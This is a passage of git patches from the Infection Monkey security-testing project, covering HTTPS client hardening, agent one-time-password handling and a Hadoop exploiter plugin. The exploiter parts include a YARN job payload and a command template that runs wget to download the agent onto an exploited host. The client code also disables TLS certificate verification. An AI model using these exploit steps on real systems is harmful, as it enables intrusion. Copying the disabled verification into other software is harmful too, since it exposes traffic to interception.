a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -61,7 +61,7 @@ def connect( island_server: SocketAddress, ): try: - self._http_client.server_url = f"{island_server}/api/" + self._http_client.server_url = f"https://{island_server}/api/" self._http_client.get(params={"action": "is-up"}) except Exception as err: logger.debug(f"Connection to {island_server} failed: {err}") diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py index 18b7d31e0ac..57afbd05610 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py @@ -56,6 +56,13 @@ def test_http_client__error_handling( connected_client.get(PROPAGATION_CREDENTIALS_ENDPOINT) +def test_http_client__unsupported_protocol(): + client = HTTPClient() + + with pytest.raises(RuntimeError): + client.server_url = "http://1.1.1.1:5000" + + @pytest.mark.parametrize( "status_code, expected_error", [ From 446b690a62e445e87d7456fedc4d09f85c12444d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 16:30:05 +0200 Subject: [PATCH 0635/1338] UT: Fix a typo in HTTPClient unit test --- .../infection_monkey/island_api_client/test_http_client.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py index 57afbd05610..5d3a7e8dbac 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py @@ -35,7 +35,7 @@ def request_mock_instance(): @pytest.fixture def connected_client(request_mock_instance): http_client = HTTPClient() - http_client.server_url = f"{SERVER}/api" + http_client.server_url = f"https://{SERVER}/api" request_mock_instance.get(ISLAND_URI) return http_client From 3a0111200a6a6f8ce58b29bec9d3399bb5d94e58 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 16:31:55 +0200 Subject: [PATCH 0636/1338] Agent: Remove getter/setter for additional_headers in HTTPClient --- .../island_api_client/http_client.py | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index c12f5d52d77..6d527865794 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -60,7 +60,7 @@ def __init__(self, retries=RETRIES): retry_config = Retry(retries) self._session.mount("https://", HTTPAdapter(max_retries=retry_config)) self._server_url: Optional[str] = None - self._additional_headers: Optional[Dict[str, Any]] = None + self.additional_headers: Optional[Dict[str, Any]] = None @property def server_url(self): @@ -73,14 +73,6 @@ def server_url(self, server_url: Optional[str]): raise RuntimeError("Only HTTPS protocol is supported by HTTPClient") self._server_url = server_url - @property - def additional_headers(self): - return self._additional_headers - - @additional_headers.setter - def additional_headers(self, headers: Dict[str, Any]): - self._additional_headers = headers - def get( self, endpoint: str = "", @@ -133,7 +125,7 @@ def _send_request( method = getattr(self._session, str.lower(request_type.name)) response = method( - url, *args, timeout=timeout, verify=False, headers=self._additional_headers, **kwargs + url, *args, timeout=timeout, verify=False, headers=self.additional_headers, **kwargs ) response.raise_for_status() From 7185a674465fa91821ba9db99e97b72c83d61fcb Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 17:04:33 +0200 Subject: [PATCH 0637/1338] Agent: Improve HTTP clients error handling --- .../island_api_client/http_client.py | 18 ++++++++++++------ .../http_island_api_client.py | 8 +------- .../island_api_client_errors.py | 8 ++++++++ monkey/infection_monkey/network/relay/utils.py | 3 +++ .../island_api_client/test_http_client.py | 12 ++++++++---- 5 files changed, 32 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/island_api_client/http_client.py b/monkey/infection_monkey/island_api_client/http_client.py index 6d527865794..113e8bbbf53 100644 --- a/monkey/infection_monkey/island_api_client/http_client.py +++ b/monkey/infection_monkey/island_api_client/http_client.py @@ -1,6 +1,7 @@ import functools import logging from enum import Enum, auto +from http import HTTPStatus from typing import Any, Dict, Optional import requests @@ -11,6 +12,7 @@ from common.types import JSONSerializable from .island_api_client_errors import ( + IslandAPIAuthenticationError, IslandAPIConnectionError, IslandAPIError, IslandAPIRequestError, @@ -40,12 +42,17 @@ def decorated(*args, **kwargs): except (requests.exceptions.ConnectionError, requests.exceptions.TooManyRedirects) as err: raise IslandAPIConnectionError(err) except requests.exceptions.HTTPError as err: + if err.response.status_code in [ + HTTPStatus.UNAUTHORIZED.value, + HTTPStatus.FORBIDDEN.value, + ]: + raise IslandAPIAuthenticationError(err) if 400 <= err.response.status_code < 500: raise IslandAPIRequestError(err) - elif 500 <= err.response.status_code < 600: + if 500 <= err.response.status_code < 600: raise IslandAPIRequestFailedError(err) - else: - raise IslandAPIError(err) + + raise IslandAPIError(err) except TimeoutError as err: raise IslandAPITimeoutError(err) except Exception as err: @@ -68,9 +75,8 @@ def server_url(self): @server_url.setter def server_url(self, server_url: Optional[str]): - if server_url: - if not server_url.startswith("https://"): - raise RuntimeError("Only HTTPS protocol is supported by HTTPClient") + if server_url is not None and not server_url.startswith("https://"): + raise ValueError("Only HTTPS protocol is supported by HTTPClient") self._server_url = server_url def get( diff --git a/monkey/infection_monkey/island_api_client/http_island_api_client.py b/monkey/infection_monkey/island_api_client/http_island_api_client.py index 9a41af45ccd..71b9a807cb0 100644 --- a/monkey/infection_monkey/island_api_client/http_island_api_client.py +++ b/monkey/infection_monkey/island_api_client/http_island_api_client.py @@ -64,16 +64,10 @@ def connect( self._http_client.server_url = f"https://{island_server}/api/" self._http_client.get(params={"action": "is-up"}) except Exception as err: - logger.debug(f"Connection to {island_server} failed: {err}") self._http_client.server_url = None raise err - try: - auth_token = self._get_authentication_token() - except Exception as err: - logger.error("Agent authentication failed") - raise err - + auth_token = self._get_authentication_token() self._http_client.additional_headers = {HTTPIslandAPIClient.TOKEN_HEADER_KEY: auth_token} def _get_authentication_token(self) -> str: diff --git a/monkey/infection_monkey/island_api_client/island_api_client_errors.py b/monkey/infection_monkey/island_api_client/island_api_client_errors.py index 9556d53800d..3c8b606a3f2 100644 --- a/monkey/infection_monkey/island_api_client/island_api_client_errors.py +++ b/monkey/infection_monkey/island_api_client/island_api_client_errors.py @@ -30,6 +30,14 @@ class IslandAPIRequestError(IslandAPIError): pass +class IslandAPIAuthenticationError(IslandAPIError): + """ + Raised when the authentication to the API failed + """ + + pass + + class IslandAPIRequestFailedError(IslandAPIError): """ Raised when the API request fails due to an error on the server diff --git a/monkey/infection_monkey/network/relay/utils.py b/monkey/infection_monkey/network/relay/utils.py index 1435ae3dcb3..f0fa42376a3 100644 --- a/monkey/infection_monkey/network/relay/utils.py +++ b/monkey/infection_monkey/network/relay/utils.py @@ -12,6 +12,7 @@ IslandAPIError, IslandAPITimeoutError, ) +from infection_monkey.island_api_client.island_api_client_errors import IslandAPIAuthenticationError from infection_monkey.network.relay import RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST from infection_monkey.utils.threading import ( ThreadSafeIterator, @@ -71,6 +72,8 @@ def _check_if_island_server( logger.error(f"Unable to connect to server/relay {server}: {err}") except IslandAPITimeoutError as err: logger.error(f"Timed out while connecting to server/relay {server}: {err}") + except IslandAPIAuthenticationError as err: + logger.error(f"Authentication to the {server} failed: {err}") except IslandAPIError as err: logger.error( f"Exception encountered when trying to connect to server/relay {server}: {err}" diff --git a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py index 5d3a7e8dbac..1c509b25fab 100644 --- a/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py +++ b/monkey/tests/unit_tests/infection_monkey/island_api_client/test_http_client.py @@ -15,6 +15,7 @@ IslandAPITimeoutError, ) from infection_monkey.island_api_client.http_client import RETRIES, HTTPClient +from infection_monkey.island_api_client.island_api_client_errors import IslandAPIAuthenticationError SERVER = SocketAddress(ip="1.1.1.1", port=9999) AGENT_ID = UUID("80988359-a1cd-42a2-9b47-5b94b37cd673") @@ -56,17 +57,20 @@ def test_http_client__error_handling( connected_client.get(PROPAGATION_CREDENTIALS_ENDPOINT) -def test_http_client__unsupported_protocol(): +@pytest.mark.parametrize("server", ["http://1.1.1.1:5000", ""]) +def test_http_client__unsupported_protocol(server): client = HTTPClient() - with pytest.raises(RuntimeError): - client.server_url = "http://1.1.1.1:5000" + with pytest.raises(ValueError): + client.server_url = server @pytest.mark.parametrize( "status_code, expected_error", [ - (401, IslandAPIRequestError), + (401, IslandAPIAuthenticationError), + (403, IslandAPIAuthenticationError), + (400, IslandAPIRequestError), (501, IslandAPIRequestFailedError), ], ) From 98f078b7b05c17a40ae059b7cfa1b2d7aded5438 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Mar 2023 14:17:14 -0400 Subject: [PATCH 0638/1338] Hadoop: Disable speculative execution in YARN job Hadoop's speculative execution feature has lead to a number of difficulties. See #655, #1781, and #2578. Of concern is that the issue where Hadoop sends a SIGKILL to the first process (#2578) could cause significant issues when implementing agent OTP authentication (#3077). Setting max-app-attempts to 1 resolves these issues. --- .../agent_plugins/exploiters/hadoop/src/hadoop_exploit_client.py | 1 + 1 file changed, 1 insertion(+) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploit_client.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploit_client.py index 77f3a6ec8b0..2bb35b8a87e 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploit_client.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploit_client.py @@ -149,6 +149,7 @@ def _build_payload( "command": command, } }, + "max-app-attempts": 1, "application-type": "YARN", } logger.debug(f"Hadoop exploit payload: {pformat(payload)}") From 99b892a1a5473b0c698896fa132b145c5936d69b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Mar 2023 15:19:51 -0400 Subject: [PATCH 0639/1338] Hadoop: Update race condition commentin hadoop_command_builder.py --- .../exploiters/hadoop/src/hadoop_command_builder.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py index 19b61dc14e1..c6a33d17aac 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py @@ -24,6 +24,12 @@ # This doesn't eleminate all race conditions, but should be good enough (in the short term) for all # practical purposes. In the future, using randomized names for the monkey binary (which is a good # practice anyway) would eleminate most of these issues. +# +# **UPDATE** +# The remaining race conditions and speculative execution issues have been resolved by commit +# 98f078b7b. I'm leaving the above comment in place for historical purposes. We can consider greatly +# simplifying these commands, as some of the conditions they're attempting to prevent have been +# resolved in 98f078b7b. HADOOP_LINUX_COMMAND_TEMPLATE = ( "wget --no-clobber -O %(monkey_path)s %(http_path)s " "|| sleep 5 && ( ( ! [ -s %(monkey_path)s ] ) && rm %(monkey_path)s ) " From bf0ea72b9051582d39fd012a6b40a5e852229133 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Mar 2023 15:22:07 -0400 Subject: [PATCH 0640/1338] Changelog: Add an entry for #2758 --- CHANGELOG.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 255e4f5bf44..9340fa98c09 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -18,6 +18,8 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Notification spam bug. #2731 - Agent propagator crashes if exploiters malfunction. #2992 - Configuration order not preserved in debugging output. #2860 +- A bug in the Hadoop exploiter that resulted in speculative execution of + multiple agents. #2758 ### Security - Fixed plaintext private key in SSHKey pair list in UI. #2950 From a5de773a05bb5c3fc83b2d971f17447d1e8a8376 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 16 Mar 2023 17:45:44 +0200 Subject: [PATCH 0641/1338] Agent: Fetch OTP from environment variables --- monkey/infection_monkey/monkey.py | 16 ++++++++++++++-- .../unit_tests/infection_monkey/test_monkey.py | 15 +++++++++++++++ 2 files changed, 29 insertions(+), 2 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/test_monkey.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index f474ae86964..d385e21f8b4 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -101,6 +101,9 @@ logging.getLogger("urllib3").setLevel(logging.INFO) +AGENT_OTP_ENVIRONMENT_VARIABLE = "IM_OTP" + + class InfectionMonkey: def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path): logger.info("Agent is initializing...") @@ -114,8 +117,7 @@ def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path self._manager = context.Manager() self._opts = self._get_arguments(args) - # TODO read the otp from an env variable - self._otp = "hard-coded-otp" + self._otp = self._get_otp() self._ipc_logger_queue = ipc_logger_queue @@ -169,6 +171,16 @@ def _get_arguments(args): return opts + @staticmethod + def _get_otp(): + try: + return os.environ[AGENT_OTP_ENVIRONMENT_VARIABLE] + except KeyError: + raise Exception( + f"Couldn't find {AGENT_OTP_ENVIRONMENT_VARIABLE} environmental variable." + f"Without an OTP the agent will fail to authenticate!" + ) + # TODO: By the time we finish 2292, _connect_to_island_api() may not need to return `server` def _connect_to_island_api(self) -> Tuple[SocketAddress, IIslandAPIClient]: logger.debug(f"Trying to wake up with servers: {', '.join(map(str, self._opts.servers))}") diff --git a/monkey/tests/unit_tests/infection_monkey/test_monkey.py b/monkey/tests/unit_tests/infection_monkey/test_monkey.py new file mode 100644 index 00000000000..7274074e44d --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/test_monkey.py @@ -0,0 +1,15 @@ +from tests.data_for_tests.otp import OTP + +from infection_monkey.monkey import AGENT_OTP_ENVIRONMENT_VARIABLE, InfectionMonkey + + +def test_get_otp(monkeypatch): + monkeypatch.setattr("os.environ", {AGENT_OTP_ENVIRONMENT_VARIABLE: OTP}) + + assert InfectionMonkey._get_otp() == OTP + + +def test_get_otp__no_opt(monkeypatch): + monkeypatch.setattr("os.environ", {AGENT_OTP_ENVIRONMENT_VARIABLE: OTP}) + + assert InfectionMonkey._get_otp() == OTP From 0500bb392a090362cc4e2d7967168db6e6cf544d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Mar 2023 20:23:41 -0400 Subject: [PATCH 0642/1338] Agent: Change OTP env variable to to INFECTION_MONKEY_AGENT_OTP --- monkey/infection_monkey/monkey.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index d385e21f8b4..3548cd42ecc 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -101,7 +101,7 @@ logging.getLogger("urllib3").setLevel(logging.INFO) -AGENT_OTP_ENVIRONMENT_VARIABLE = "IM_OTP" +AGENT_OTP_ENVIRONMENT_VARIABLE = "INFECTION_MONKEY_AGENT_OTP" class InfectionMonkey: From 241829c519389cf06c523189ae2253b6a9a5eb09 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Mar 2023 20:38:36 -0400 Subject: [PATCH 0643/1338] Agent: Move AGENT_OTP_ENVIRONMENT_VARIABLE to model/ --- monkey/common/common_consts/__init__.py | 1 - monkey/common/common_consts/environment_variables.py | 1 - monkey/infection_monkey/model/__init__.py | 2 ++ monkey/infection_monkey/monkey.py | 4 +--- monkey/tests/unit_tests/infection_monkey/test_monkey.py | 2 +- 5 files changed, 4 insertions(+), 6 deletions(-) delete mode 100644 monkey/common/common_consts/environment_variables.py diff --git a/monkey/common/common_consts/__init__.py b/monkey/common/common_consts/__init__.py index 83c98387eaa..7e6de121c60 100644 --- a/monkey/common/common_consts/__init__.py +++ b/monkey/common/common_consts/__init__.py @@ -1,2 +1 @@ from .thread_periods import HEARTBEAT_INTERVAL -from .environment_variables import AGENT_OTP_ENVIRONMENT_VARIABLE diff --git a/monkey/common/common_consts/environment_variables.py b/monkey/common/common_consts/environment_variables.py deleted file mode 100644 index d9580e5cb71..00000000000 --- a/monkey/common/common_consts/environment_variables.py +++ /dev/null @@ -1 +0,0 @@ -AGENT_OTP_ENVIRONMENT_VARIABLE = "IM_OTP" diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 206f41f9db5..d4e7d43672e 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,3 +1,5 @@ +AGENT_OTP_ENVIRONMENT_VARIABLE = "INFECTION_MONKEY_AGENT_OTP" + MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" ID_STRING = "M0NK3Y3XPL0ITABLE" diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 3548cd42ecc..6906f5e809d 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -63,6 +63,7 @@ from infection_monkey.island_api_client import HTTPIslandAPIClientFactory, IIslandAPIClient from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel +from infection_monkey.model import AGENT_OTP_ENVIRONMENT_VARIABLE from infection_monkey.network import TCPPortSelector from infection_monkey.network.firewall import app as firewall from infection_monkey.network.relay import TCPRelay @@ -101,9 +102,6 @@ logging.getLogger("urllib3").setLevel(logging.INFO) -AGENT_OTP_ENVIRONMENT_VARIABLE = "INFECTION_MONKEY_AGENT_OTP" - - class InfectionMonkey: def __init__(self, args, ipc_logger_queue: multiprocessing.Queue, log_path: Path): logger.info("Agent is initializing...") diff --git a/monkey/tests/unit_tests/infection_monkey/test_monkey.py b/monkey/tests/unit_tests/infection_monkey/test_monkey.py index 7274074e44d..e936167b46b 100644 --- a/monkey/tests/unit_tests/infection_monkey/test_monkey.py +++ b/monkey/tests/unit_tests/infection_monkey/test_monkey.py @@ -1,6 +1,6 @@ from tests.data_for_tests.otp import OTP -from infection_monkey.monkey import AGENT_OTP_ENVIRONMENT_VARIABLE, InfectionMonkey +from infection_monkey.model import AGENT_OTP_ENVIRONMENT_VARIABLE, InfectionMonkey def test_get_otp(monkeypatch): From aa0694626fda77042073c24a18e8b7b3d1b5c65f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Mar 2023 20:46:15 -0400 Subject: [PATCH 0644/1338] Agent: Add a TODO to infection_monkey.model.__init__.py --- monkey/infection_monkey/model/__init__.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index d4e7d43672e..5108a2e5ebe 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,3 +1,5 @@ +# TODO: This should be moved out of infection_monkey.model and into a more appropriate place, such +# as infection_monkey.consts AGENT_OTP_ENVIRONMENT_VARIABLE = "INFECTION_MONKEY_AGENT_OTP" MONKEY_ARG = "m0nk3y" From ea09af2cf0807cc62231646c05034e7087bd9c9c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Mar 2023 21:03:54 -0400 Subject: [PATCH 0645/1338] Agent: Add a feature flag for Agent OTP use --- monkey/infection_monkey/model/__init__.py | 2 ++ monkey/infection_monkey/monkey.py | 6 +++++- .../unit_tests/infection_monkey/test_monkey.py | 16 +++++++++++++++- 3 files changed, 22 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 5108a2e5ebe..731db74be4d 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,6 +1,8 @@ # TODO: This should be moved out of infection_monkey.model and into a more appropriate place, such # as infection_monkey.consts AGENT_OTP_ENVIRONMENT_VARIABLE = "INFECTION_MONKEY_AGENT_OTP" +# TODO: Remove this before closing #3077 +OTP_FLAG = "AGENT_OTP_FLAG" MONKEY_ARG = "m0nk3y" DROPPER_ARG = "dr0pp3r" diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 6906f5e809d..98ebffd6c2b 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -63,7 +63,7 @@ from infection_monkey.island_api_client import HTTPIslandAPIClientFactory, IIslandAPIClient from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel -from infection_monkey.model import AGENT_OTP_ENVIRONMENT_VARIABLE +from infection_monkey.model import AGENT_OTP_ENVIRONMENT_VARIABLE, OTP_FLAG from infection_monkey.network import TCPPortSelector from infection_monkey.network.firewall import app as firewall from infection_monkey.network.relay import TCPRelay @@ -171,6 +171,10 @@ def _get_arguments(args): @staticmethod def _get_otp(): + # No need for a constant, this is a feature flag that will be removed. + if OTP_FLAG not in os.environ: + return "PLACEHOLDER_OTP" + try: return os.environ[AGENT_OTP_ENVIRONMENT_VARIABLE] except KeyError: diff --git a/monkey/tests/unit_tests/infection_monkey/test_monkey.py b/monkey/tests/unit_tests/infection_monkey/test_monkey.py index e936167b46b..695ce4bdc51 100644 --- a/monkey/tests/unit_tests/infection_monkey/test_monkey.py +++ b/monkey/tests/unit_tests/infection_monkey/test_monkey.py @@ -1,15 +1,29 @@ from tests.data_for_tests.otp import OTP -from infection_monkey.model import AGENT_OTP_ENVIRONMENT_VARIABLE, InfectionMonkey +from infection_monkey.model import AGENT_OTP_ENVIRONMENT_VARIABLE, OTP_FLAG +from infection_monkey.monkey import InfectionMonkey def test_get_otp(monkeypatch): monkeypatch.setattr("os.environ", {AGENT_OTP_ENVIRONMENT_VARIABLE: OTP}) + monkeypatch.setenv(OTP_FLAG, True) assert InfectionMonkey._get_otp() == OTP def test_get_otp__no_opt(monkeypatch): monkeypatch.setattr("os.environ", {AGENT_OTP_ENVIRONMENT_VARIABLE: OTP}) + monkeypatch.setenv(OTP_FLAG, True) assert InfectionMonkey._get_otp() == OTP + + +def test_get_otp__feature_flag_disabled(monkeypatch): + monkeypatch.setattr("os.environ", {AGENT_OTP_ENVIRONMENT_VARIABLE: OTP}) + try: + monkeypatch.delenv(OTP_FLAG) + except KeyError: + pass + + # No need for a constant, this code is testing a feature flag that will be removed. + assert InfectionMonkey._get_otp() == "PLACEHOLDER_OTP" From f82dc18ad98b621ad00de0d8ed87699510240cbd Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Mar 2023 21:05:33 -0400 Subject: [PATCH 0646/1338] UT: Add a fixture to consolidate duplicate code --- .../tests/unit_tests/infection_monkey/test_monkey.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/test_monkey.py b/monkey/tests/unit_tests/infection_monkey/test_monkey.py index 695ce4bdc51..ccd4d61af2a 100644 --- a/monkey/tests/unit_tests/infection_monkey/test_monkey.py +++ b/monkey/tests/unit_tests/infection_monkey/test_monkey.py @@ -1,25 +1,25 @@ +import pytest from tests.data_for_tests.otp import OTP from infection_monkey.model import AGENT_OTP_ENVIRONMENT_VARIABLE, OTP_FLAG from infection_monkey.monkey import InfectionMonkey -def test_get_otp(monkeypatch): - monkeypatch.setattr("os.environ", {AGENT_OTP_ENVIRONMENT_VARIABLE: OTP}) +@pytest.fixture(autouse=True) +def configure_environment_variables(monkeypatch): + monkeypatch.setenv(AGENT_OTP_ENVIRONMENT_VARIABLE, OTP) monkeypatch.setenv(OTP_FLAG, True) + +def test_get_otp(monkeypatch): assert InfectionMonkey._get_otp() == OTP def test_get_otp__no_opt(monkeypatch): - monkeypatch.setattr("os.environ", {AGENT_OTP_ENVIRONMENT_VARIABLE: OTP}) - monkeypatch.setenv(OTP_FLAG, True) - assert InfectionMonkey._get_otp() == OTP def test_get_otp__feature_flag_disabled(monkeypatch): - monkeypatch.setattr("os.environ", {AGENT_OTP_ENVIRONMENT_VARIABLE: OTP}) try: monkeypatch.delenv(OTP_FLAG) except KeyError: From e075a704b12d2729f40411a9b7a11881a9797ec4 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Mar 2023 21:07:27 -0400 Subject: [PATCH 0647/1338] UT: Implement test_get_otp__no_otp() test --- monkey/tests/unit_tests/infection_monkey/test_monkey.py | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/test_monkey.py b/monkey/tests/unit_tests/infection_monkey/test_monkey.py index ccd4d61af2a..1a809352dbe 100644 --- a/monkey/tests/unit_tests/infection_monkey/test_monkey.py +++ b/monkey/tests/unit_tests/infection_monkey/test_monkey.py @@ -15,8 +15,10 @@ def test_get_otp(monkeypatch): assert InfectionMonkey._get_otp() == OTP -def test_get_otp__no_opt(monkeypatch): - assert InfectionMonkey._get_otp() == OTP +def test_get_otp__no_otp(monkeypatch): + monkeypatch.delenv(AGENT_OTP_ENVIRONMENT_VARIABLE) + with pytest.raises(Exception): + InfectionMonkey._get_otp() def test_get_otp__feature_flag_disabled(monkeypatch): From 621a139c5b0e9d40edc1f666ed9540b8ca234b98 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 16 Mar 2023 21:11:34 -0400 Subject: [PATCH 0648/1338] Agent: Delete the OTP from the environment after retrieving it --- monkey/infection_monkey/monkey.py | 10 ++++++++-- .../tests/unit_tests/infection_monkey/test_monkey.py | 3 +++ 2 files changed, 11 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 98ebffd6c2b..266474a79e9 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -35,7 +35,7 @@ from common.tags.attack import T1082_ATTACK_TECHNIQUE_TAG from common.types import NetworkPort, SocketAddress from common.utils.argparse_types import positive_int -from common.utils.code_utils import secure_generate_random_string +from common.utils.code_utils import del_key, secure_generate_random_string from common.utils.file_utils import create_secure_directory from infection_monkey.agent_event_handlers import ( AgentEventForwarder, @@ -176,13 +176,19 @@ def _get_otp(): return "PLACEHOLDER_OTP" try: - return os.environ[AGENT_OTP_ENVIRONMENT_VARIABLE] + otp = os.environ[AGENT_OTP_ENVIRONMENT_VARIABLE] except KeyError: raise Exception( f"Couldn't find {AGENT_OTP_ENVIRONMENT_VARIABLE} environmental variable." f"Without an OTP the agent will fail to authenticate!" ) + # SECURITY: There's no need to leave this floating around in a place as visible as + # environment variables for any longer than necessary. + del_key(os.environ, AGENT_OTP_ENVIRONMENT_VARIABLE) + + return otp + # TODO: By the time we finish 2292, _connect_to_island_api() may not need to return `server` def _connect_to_island_api(self) -> Tuple[SocketAddress, IIslandAPIClient]: logger.debug(f"Trying to wake up with servers: {', '.join(map(str, self._opts.servers))}") diff --git a/monkey/tests/unit_tests/infection_monkey/test_monkey.py b/monkey/tests/unit_tests/infection_monkey/test_monkey.py index 1a809352dbe..b1643aff146 100644 --- a/monkey/tests/unit_tests/infection_monkey/test_monkey.py +++ b/monkey/tests/unit_tests/infection_monkey/test_monkey.py @@ -1,3 +1,5 @@ +import os + import pytest from tests.data_for_tests.otp import OTP @@ -13,6 +15,7 @@ def configure_environment_variables(monkeypatch): def test_get_otp(monkeypatch): assert InfectionMonkey._get_otp() == OTP + assert AGENT_OTP_ENVIRONMENT_VARIABLE not in os.environ def test_get_otp__no_otp(monkeypatch): From 3d53dafa18c49f3002d761d6200b422a00267c0d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 17 Mar 2023 11:47:25 +0200 Subject: [PATCH 0649/1338] Agent: Revert the OTP environment name move to the agent Environmental name for OTP is relevant to the island as well, it should be in an accessible place for both --- monkey/common/common_consts/__init__.py | 1 + monkey/common/common_consts/environment_variables.py | 1 + monkey/infection_monkey/model/__init__.py | 3 --- monkey/infection_monkey/monkey.py | 3 ++- monkey/tests/unit_tests/infection_monkey/test_monkey.py | 3 ++- 5 files changed, 6 insertions(+), 5 deletions(-) create mode 100644 monkey/common/common_consts/environment_variables.py diff --git a/monkey/common/common_consts/__init__.py b/monkey/common/common_consts/__init__.py index 7e6de121c60..83c98387eaa 100644 --- a/monkey/common/common_consts/__init__.py +++ b/monkey/common/common_consts/__init__.py @@ -1 +1,2 @@ from .thread_periods import HEARTBEAT_INTERVAL +from .environment_variables import AGENT_OTP_ENVIRONMENT_VARIABLE diff --git a/monkey/common/common_consts/environment_variables.py b/monkey/common/common_consts/environment_variables.py new file mode 100644 index 00000000000..d9580e5cb71 --- /dev/null +++ b/monkey/common/common_consts/environment_variables.py @@ -0,0 +1 @@ +AGENT_OTP_ENVIRONMENT_VARIABLE = "IM_OTP" diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py index 731db74be4d..313fd062549 100644 --- a/monkey/infection_monkey/model/__init__.py +++ b/monkey/infection_monkey/model/__init__.py @@ -1,6 +1,3 @@ -# TODO: This should be moved out of infection_monkey.model and into a more appropriate place, such -# as infection_monkey.consts -AGENT_OTP_ENVIRONMENT_VARIABLE = "INFECTION_MONKEY_AGENT_OTP" # TODO: Remove this before closing #3077 OTP_FLAG = "AGENT_OTP_FLAG" diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 266474a79e9..4a322ee5961 100644 --- a/monkey/infection_monkey/monkey.py +++ 